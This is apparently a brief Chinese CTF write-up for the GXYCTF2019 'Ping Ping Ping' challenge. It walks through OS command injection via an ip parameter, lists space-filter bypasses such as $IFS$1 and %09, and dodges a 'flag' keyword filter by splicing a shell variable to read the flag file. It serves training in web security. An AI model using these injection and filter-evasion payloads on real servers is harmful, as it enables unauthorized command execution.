[GXYCTF2019]Ping Ping Ping1
题目
传参执行命令
/?ip=127.0.0.1|ls
读取flag
空格被过了
以下方法可以绕过空格
${IFS}
$IFS$1
${IFS
%20
<和<>重定向替换
%09
一个一个试发现$IFS$1是行得通的
/?ip=127.0.0.1|cat$IFS$1index.php
查看index.php源码
flag也被过滤了,发现很多符号都过滤了所以单引号双引号绕过,反斜线绕过这些都行不通了,但仔细观察源码发现有一个变量a可以替换
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
拿下flag
flag{d5da3d1e-69ee-4892-8395-6c26d9d5cc2c}